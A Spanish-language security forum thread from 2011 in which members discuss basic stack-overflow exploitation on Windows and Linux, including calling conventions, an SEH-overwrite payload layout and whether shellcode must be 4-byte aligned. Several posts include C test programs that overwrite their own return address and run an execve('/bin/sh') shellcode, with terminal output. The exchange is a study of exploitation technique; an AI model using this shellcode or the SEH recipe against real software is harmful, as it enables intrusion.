Exploiting basico en Windows

Este es tu lugar para hablar de programación, compartir, crear y desarrollar nuevos proyectos

Moderador: Moderadores

Re: Exploiting basico en Windows

Notapor TuXeD » Mié Ago 24, 2011 9:49 am

Hola,

Los argumentos si se limpian por la funcion llamada en la convecion stdcall, que es la que se usa en sistemas Windows: http://en.wikipedia.org/wiki/X86_callin ... ns#stdcall . Tambien tienes 'fastcall' en la que se pasan algunos parametros por registro y el encargado de limpiar la pila es el llamado.

En cdecl, que es lo que se suele usar en Linux x86, el encargado de limpiar los parametros es la funcion que llama.

Esto explica que Sor vea ese 'shift' de la pila (generalmente usando ret 0xXX en lugar de ret, ver http://en.wikibooks.org/wiki/X86_Disass ... n_Examples ) mientras que en Linux no se ve eso. Esto significa que en caso de Win, debes meter padding sobre los parametros, y luego tu shellcode.

Respecto al offset, no deberia pasar... igual si pones los ejemplos de programa vulnerable, entradas que le das y stacktrace en el pete lo podamos ver :)

Saludos
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Re: Exploiting basico en Windows

Notapor vlan7 » Mié Ago 24, 2011 4:25 pm

Hola,

No tenia ni idea de las convenciones, eso si, solo se aplica en lenguajes de alto nivel claro (que imagino que sera lo que Sor esta explotando, un binario generado con un compilata de alto nivel). En ASM esta claro que le toca el curro al programador.

A ver si pones algunos de los datos que comenta TuXeD y vemos que podemos hacer.

Suerte,
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Exploiting basico en Windows

Notapor Sor_Zitroën » Mié Ago 24, 2011 4:39 pm

Vale, era lo que me tenía. Grande la explicación TuXed, grande :D; y buenos enlaces, por cierto.

Sobre el tema del offset, teniendo en cuenta que estáis de acuerdo en que no debería pasar y se puede usar directamente, ya lo revisaré. Cuando lo usé fué mediante el plugin mona de Inmunity Debugger, pero ya digo de momento no le voy a dar más importancia al tema.

Gracias

Por cierto, ¿alguno ha jugado con la explotación de un desbordamiento de pila basándose en SEH? Es por si me animo a probarlo y saber si tengo algún respaldo en el foro :) (de momento sin DEP, por supuesto).
[Padre] ¿Crees en el fracaso?
[Hijo] Sí
[Padre] Entonces lo experimentarás
Avatar de Usuario
Sor_Zitroën
-<|:·þ
-<|:·þ
 
Mensajes: 2064
Registrado: Vie Nov 25, 2005 2:01 am

Re: Exploiting basico en Windows

Notapor TuXeD » Mié Ago 24, 2011 7:46 pm

Una cosa que se me olvido: en x86 no hay requisitos de alineamiento de memoria. Puesto que el instruction set de x86 no es de tamanyo fijo sino variable (e.g. el NOP es 1 byte solo), la CPU debe poder acceder a posiciones de memoria 'desalineadas' si o si.

Por tanto, el problema NO puede ser de alineamiento. Otra cosa es temas de performance, como que si los accesos a memoria son de 4 bytes, y tus datos no lo estan (y son multi-byte, e.g. short, int, etc) es posible que la CPU tenga que hacer dos accesos a memoria en lugar de uno para traerse esos datos. Pero eso es otra historia, y habria que preocuparse mas de accesos a cache que a memoria central realmente.

Respecto a SEH, yo no lo he hecho en la practica pero la idea esta clara... tienes next seh + seh handler pointer en la pila. Es simplemente un caso de 'pointer overwrite' con ciertas particularidades; al hacer la llamada a ese puntero tienes en la pila tienes la direccion de 'next seh' un poco mas abajo (8 bytes).

Por eso, necesitas un pop + pop + ret para que haga quite los 8 bytes, y luego acabas en tu next seh. Puesto que next seh tiene detras la direccion del seh handler, y ahi has metido una cosa que no era codigo, necesitas saltar por encima. Asi, la cosa queda:

[padding][nseh][seh][nops+shellcode]

En seh ponemos la dir del pop;pop;ret y en nseh metemos un jmp +4 --> acabamos ejecutando la shellcode.

En resumen: pruebalo y si tienes problemas lo miramos que deberia salir sin problemas ;)

Saludos
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Re: Exploiting basico en Windows

Notapor vlan7 » Mié Ago 24, 2011 9:41 pm

Hola,

Creo que todos estamos de acuerdo en que el conjunto de instrucciones de x86 es de tamaño variable (evidente para todo aquel que ha desensamblado algo). Creo que tambien estamos de acuerdo en que por ello la CPU puede acceder a posiciones de memoria desalineadas. Pero lo que decimos (seguro que NewLog se refiere a esto tambien, pues es basico saber lo de antes), lo que decimos es que en la practica en un stack overflow si no rellenas con NOPs la pila para que sea multiplo de 4, te saldra un Segmentation fault ASIN de grande debido a que se lee en el stack basura que se intenta ejecutar.

Por la misma razon que se meten barras (/) de mas en un shellcode execve("/bin/sh",blablabla), para alinear a 4 bytes ejecutamos //bin/sh si queremos ejecutar el shellcode correctamente sin segfaults.

Otra opcion seria modificar como se alinea la pila, en gcc el parametro tipico es (sacado del man de gcc):

-mpreferred-stack-boundary=num
Attempt to keep the stack boundary aligned to a 2 raised to num byte boundary. If -mpreferred-stack-boundary is not specified, the default is 4 (16 bytes or 128 bits), except when optimizing for code size (-Os), in which case the default is the minimum correct alignment (4 bytes for x86, and 8 bytes for x86-64).

On Pentium and PentiumPro, double and long double values should be aligned to an 8 byte boundary (see -malign-double) or suffer significant run time performance penalties. On Pentium III, the Streaming SIMD Extension (SSE) data type __m128 suffers similar penalties if it is not 16 byte aligned.

To ensure proper alignment of this values on the stack, the stack boundary must be as aligned as that required by any value stored on the stack. Further, every function must be generated such that it keeps the stack aligned. Thus calling a function compiled with a higher preferred stack boundary from a function compiled with a lower preferred stack boundary will most likely misalign the stack. It is recommended that libraries that use callbacks always use the default setting.

This extra alignment does consume extra stack space, and generally increases code size. Code that is sensitive to stack space usage, such as embedded systems and operating system kernels, may want to reduce the preferred alignment to -mpreferred-stack-boundary=2.


Vamos, esto es lo que he aprendido yo siempre de los textos compartidos de los demas y dandome de ostias en la practica, si ahora resulta que no ¿cual es la razon entonces de que sin NOPs pete y rellenando con NOPs se ejecute ok?

Suerte,

P.D. No tengo ni la mas remota idea de SEH, pero eso de antes parece un ROP-gadget :embudito:
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Exploiting basico en Windows

Notapor NewLog » Jue Ago 25, 2011 3:47 am

Secundo a vlan ;)

Si con los NOPs no alineas la dirección a dónde quieres saltar a una posición múltiple de 4, entonces el registro eip tendrá una dirección de memoria incorrecta. Esto con el método de explotación de pila más básico. No quería referirme a que la arquitectura no permitiera lecturas 'no alineadas'.

Nótese que todo lo que digo lo digo a partir de lo que se en sistemas Unix (más bien Linux), así que si digo alguna burrada, será que es demasiado tarde o porqué hablamos de explotación en windows ;) Aun así, la base siempre acaba siendo la misma... Lo que cambia son las estructuras de memoria y algunas pijaditas (imagino!).

Saludos y muy buena info!
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Re: Exploiting basico en Windows

Notapor TuXeD » Jue Ago 25, 2011 11:47 am

Hola,

Pues yo sigo en desacuerdo. Mirad este ejemplo, probado con ubuntu 10.10:

Código: Seleccionar todo
Script started on Thu 25 Aug 2011 11:40:38 AM CEST
[email protected]:~$ cat test.c
#include <stdio.h>

char sc[] = "\xcc"; //Just an int3

int main (int ac, char **av){
       int *ret;
       ret = (int *)&ret + 2; //Point to saved EIP

       *((unsigned char *)(ret)+5) = '\xcc'; //Save to stack, 5 bytes 'below' ret
       (*ret) = (int)((unsigned char*)(ret)+5); //Set return address to ret+5 --> missaligned!
}
[email protected]:~$ gcc tes.test.c -o test
[email protected]:~$ execstack -s ./test
[email protected]:~$ ./test
Trace/breakpoint trap
[email protected]:~$ exit

Script done on Thu 25 Aug 2011 11:41:03 AM CEST


Como podeis ver, se ha sobreescrito ret con un valor no alineado (+5), donde he puesto un trap. El trap se ejecuta, cuando segun lo que decis vosotros deberia dar un SIGSEGV por no estar alineado.
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Re: Exploiting basico en Windows

Notapor vlan7 » Jue Ago 25, 2011 4:31 pm

jeje meter un SIGTRAP es trampa porque asi el programa no puede finalizar. Aun asi yo si lo ejecuto directamente desde la shell a mi me genera un core dump:

Código: Seleccionar todo
./test
Trace/breakpoint trap (core dumped)


Si seguimos la ejecucion del programa hasta el final con gdb:

Código: Seleccionar todo
gdb -q test
Reading symbols from /home/vlan7/basura/test...done.
(gdb) r
Starting program: /home/vlan7/basura/test

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff3c2 in ?? ()
(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff3c4 in ?? ()
(gdb)


Ahi esta el segfault.
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Exploiting basico en Windows

Notapor TuXeD » Jue Ago 25, 2011 4:55 pm

Precisamente el int3 era por parar el programa, sin necesidad de poner una shellcode entera. Que se ejecute el int3 ya implica que la shellcode ahi se va a ejecutar.

Pero bueno, aqui va una con shellcode entera:

Código: Seleccionar todo
[email protected]:~$ cat test.c
#include <stdio.h>

char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"
              "\x73\x68\x68\x2f\x62\x69\x6e\x89"
              "\xe3\xb0\x0b\xcd\x80";
int i;

          
int main (int ac, char **av){
   int *ret;
   ret = (int *)&ret + 2; //Point to saved EIP
   
   for(i=0;i<sizeof(code);i++){
      *((unsigned char *)(ret)+5+i) = code[i];
   }
   
   (*ret) = (int)((unsigned char*)(ret)+5); //Set return address to ret+5
}
[email protected]:~$ gcc test.c -o test
[email protected]:~$ execstack -s ./test
[email protected]:~$ ./test
$
[email protected]:~$ exit


Como puedes ver la shell se ejecuta perfectamente. No uso memcpy() porque entonces la forma de sobreescribir el ret me falla, seguramente debido a alguna cosa interna de gcc.
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Re: Exploiting basico en Windows

Notapor vai » Jue Ago 25, 2011 4:56 pm

Yo estoy con TuXeD. No es trampa, son temas distintos en todo caso.

1) el salto se produce correctamente, sea alineado o no, y se llega al trap correctamente
2) el programa luego en el caso de ser ejecutado como propone tiene tiene un segfault porque después de eso hay basura/nada/nosesabe/gominolas, no por el salto desalineado
vai
:-)
:-)
 
Mensajes: 18
Registrado: Dom Mar 26, 2006 4:21 pm

Re: Exploiting basico en Windows

Notapor NewLog » Jue Ago 25, 2011 5:52 pm

Buenas TuXeD,

Mira, aquí he probado tu código y me da un segfault. Estoy con un Backtrack5, que al estar "basado en Ubuntu" debe ser como en tu sistema. Quizá me falte algo.

Código: Seleccionar todo
[email protected]:~/Hacking/UnixExploiting/Alineacion# cat TuXeDExample.c
#include <stdio.h>

char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"
              "\x73\x68\x68\x2f\x62\x69\x6e\x89"
              "\xe3\xb0\x0b\xcd\x80";
int i;

           
int main (int ac, char **av){
   int *ret;
   ret = (int *)&ret + 2; //Point to saved EIP
   
   for(i=0;i<sizeof(code);i++){
      *((unsigned char *)(ret)+5+i) = code[i];
   }
   
   (*ret) = (int)((unsigned char*)(ret)+5); //Set return address to ret+5
}
[email protected]:~/Hacking/UnixExploiting/Alineacion# cat /proc/sys/kernel/randomize_va_space
0
[email protected]:~/Hacking/UnixExploiting/Alineacion# gcc TuXeDExample.c -o TuXeDExample
TuXeDExample.c: In function ‘main’:
TuXeDExample.c:17: warning: cast from pointer to integer of different size
[email protected]:~/Hacking/UnixExploiting/Alineacion# execstack -s TuXeDExample
[email protected]:~/Hacking/UnixExploiting/Alineacion# ./TuXeDExample
Segmentation fault


A ver si ahora programo algo para mostrar o que quiero decir.


EDITO:

Ahora he probado con un Ubuntu 10.10 y sí que me ha funcionado.

Código: Seleccionar todo
[email protected]:~/Documentos/Exploiting/Linux/OtrasCosas/Alineacion$ gcc TuXeDExample.c -o TuXeDExample
[email protected]:~/Documentos/Exploiting/Linux/OtrasCosas/Alineacion$ execstack -s TuXeDExample
[email protected]:~/Documentos/Exploiting/Linux/OtrasCosas/Alineacion$ ./TuXeDExample
$ exit
[email protected]:~/Documentos/Exploiting/Linux/OtrasCosas/Alineacion$
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Re: Exploiting basico en Windows

Notapor TuXeD » Jue Ago 25, 2011 6:04 pm

Mira a ver donde te da el segfault ese... y mira que realmente el execstack -s te este haciendo la pila 'rwx' y no la deje 'r-w'... igual el execstack no va bien en backtrack o algo. Creo que no deberia fallar salvo NX/DEP o similares, aunque se me puede estar escapando algo claro.
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Re: Exploiting basico en Windows

Notapor vlan7 » Jue Ago 25, 2011 6:12 pm

Hola,

Yo acabo de probar en Backtrack el codigo de TuXeD y a mi no me da el segfault. He copiado el codigo que pasteo NewLog por si acaso habia alguna errata con respecto al original y tambien funciona correctamente.

Uso una iso de backtrack 5 x86 virtualizada bajo debian sid. El execkstack que uso lo he instalado con apt pues bt no lo trae de serie.

P.D. Como mola este hilo.
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Exploiting basico en Windows

Notapor Sor_Zitroën » Jue Ago 25, 2011 6:14 pm

Pues yo estoy como el que espera a Dios :embudito:, a ver cómo acaba esto.
[Padre] ¿Crees en el fracaso?
[Hijo] Sí
[Padre] Entonces lo experimentarás
Avatar de Usuario
Sor_Zitroën
-<|:·þ
-<|:·þ
 
Mensajes: 2064
Registrado: Vie Nov 25, 2005 2:01 am

Re: Exploiting basico en Windows

Notapor vlan7 » Jue Ago 25, 2011 6:26 pm

Mi pregunta puede ser absurda, pero en ese programa ¿estamos ejecutando la shell en la pila que es lo que tratamos de aclarar si tiene que estar alineado?

Lo digo porque acabo de probar a ejecutarlo sin execstack y funciona correctamente, y viendo los permisos de la pila:

Código: Seleccionar todo
[email protected]:~# grep stack /proc/self/maps
bfe53000-bfe74000 rw-p 00000000 00:00 0          [stack]
[email protected]:~#


La pila no es ejecutable (x) como es de esperar por defecto.

:?:
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

AnteriorSiguiente

Volver a Programación

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 3 invitados